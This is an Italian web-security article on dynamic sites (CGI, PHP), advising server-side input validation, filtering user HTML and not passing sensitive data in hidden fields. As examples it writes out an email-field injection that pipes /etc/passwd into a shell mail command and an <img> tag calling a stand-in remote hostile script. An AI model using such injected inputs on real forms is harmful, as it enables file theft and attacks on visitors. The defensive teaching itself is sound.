Problematiche di sicurezza con contenuti dinamici

I veri grattacapi in termini di protezione di un server web arrivano quando si deve gestire un sito dinamico, in cui, tramite cgi, php, perl, ssi o altri metodi le pagine vengono generate on-the-fly e il server non solo deve leggere i file presenti sulla document root ma attingere a dati su un database ed eseguire operazioni sul sistema.

In simili casi le insidie sono enormemente maggiori, perchè non dipendono semplicemente dalla versione del web server installata o dalla sua configurazione, ma di fatto riguardano ogni singolo script che viene eseguito per gestire e generare le pagine.
Fondamentali, in questo senso, sono i permessi con cui vengono eseguiti script o programmi: questi vengono solitamente ereditati da Apache stesso  per cui è importante che il server web giri come utente comune (deve comunque essere lanciato come root, per bindarsi alla porta 80, ma tutti i processi figli che gestiscono le connessioni con i client, sono eseguiti con privilegi comuni).
A volte è necessario eseguire alcuni script come root, in questo caso è necessario abilitare funzionalità di suexec, che vanno sempre ponderate con attenzioni.

A prescindere dai singoli linguaggi utilizzati per generare pagine dinamiche, esistono alcune regole di fondo, legate alla stessa logica di un sistema operativo, che vanno considerate nell'analisi e nella realizzazione del codice:

Verifica dell'input di POST o GET
Qualsiasi dato che l'utente può postare su una pagina web va attentamente valutato e ponderato: le possibilità di abusare della funzionalità di uno script sono enormi, considerando la logica di Unix e la modalità con cui vengono gestiti gli input.
Immaginiamo di avere un form dove viene richiesto un indirizzo Email, questo viene passato tramite un nostro script CGI ad un comando shell come mail $indirizzo_inserito.
Se qualcuno inserisce come email qualcosa come [email protected] < /etc/passwd il comando eseguito sul sistema diventa mail [email protected] < /etc/passwd con le conseguenze che si possono immaginare.
Considerare anche le variazioni sul tema, nel caso nell'input venga inserito un ; seguito da un comando maligno, o un > o delle parentesi tonde () ecc.
In pratica si deve sempre porre la massima attenzione a qualsiasi "punto di entrata" di dati dall'esterno: di fatto a qualsiasi form che passa dati ad uno script CGI, o qualsiasi pagina dinamica che accetta parametri tramite l'URL passato in GET.

Controllo dell'input sul server (non lasciare la sicurezza sul lato client)
Le possibilità di abuso che si aprono nel momento in cui si utilizzano pagine dinamiche sono innumerevoli, le soluzioni varie, ma in genere la logica è sempre la stessa: controllare e filtrare ogni input accettabile e farlo sul server e non lasciarlo al client.
Eveitare per esempio di controllare l'input direttamente nella pagina HTML tramite javascript o analoghi.
In questo modo si lascia al lato client il controllo e la sicurezza dei dati: un utente ostile può sempre salvare la pagina html in locale, modificare il javascript che esegue il controllo dell'input, ed eseguire il POST dalla pagina modificata, senza i filtri previsti: l'unico modo per evitare una simile operazione sarebbe verificare il referrer da cui arrivano i dati postati, se la pagina è quella del nostro sito allora si accetta l'input, altrimenti si blocca, ma anche in questo caso l'header REFERRER può essere manipolato, per cui di fatto, è sempre meglio operare ogni controllo e filtro dell'input direttamente sul server.

Evitare l'output di codice HTML inseribile dall'utente
Si consideri un forum dove chiunque può scrivere messaggi. Se non vengono fatti specifici controlli e filtrati tutti i tag html tranne eventualmente quelli che possono essere ritenuti innocui, un utente ostile può postare del codice HTML con effetti imprevedibili e comunque molto ampi e variegati (Basta richiamare uno script remoto con <img src=http://www.sitoremoto.com/bruttecose.cgi> per eseguire codice ostile sul browser dell'utente che visita il forum)

Passaggio di dati e parametri sensibili via URL o hidden fields
A volte per gestire pagine dinamiche si devono passare dati e parametri da una pagina all'altra. I metodi per farlo possono essere via POST, tramite i contenuti di un form o via GET, tramite coppie di attributi/valori passati nell'URL.
Se i parametri sono sensibili e potenzialmente riservati o sfruttabili per usi impropri si deve prestare attenzione a come vengono gestiti: usare HIDDEN field in un form, per esempio, dal punto di vista della sicurezza è inutile, visto che il sorgente della pagina HTML è facilmente visualizzabile.
Si può pensare di criptare i dati, se si devono a tutti costi "passare", oppure di trovare soluzioni tali da rendere inutile il passaggio di simili dati, perchè associati alla singola sessione di navigazione (per esempio tramite cookie).

Privacy Policy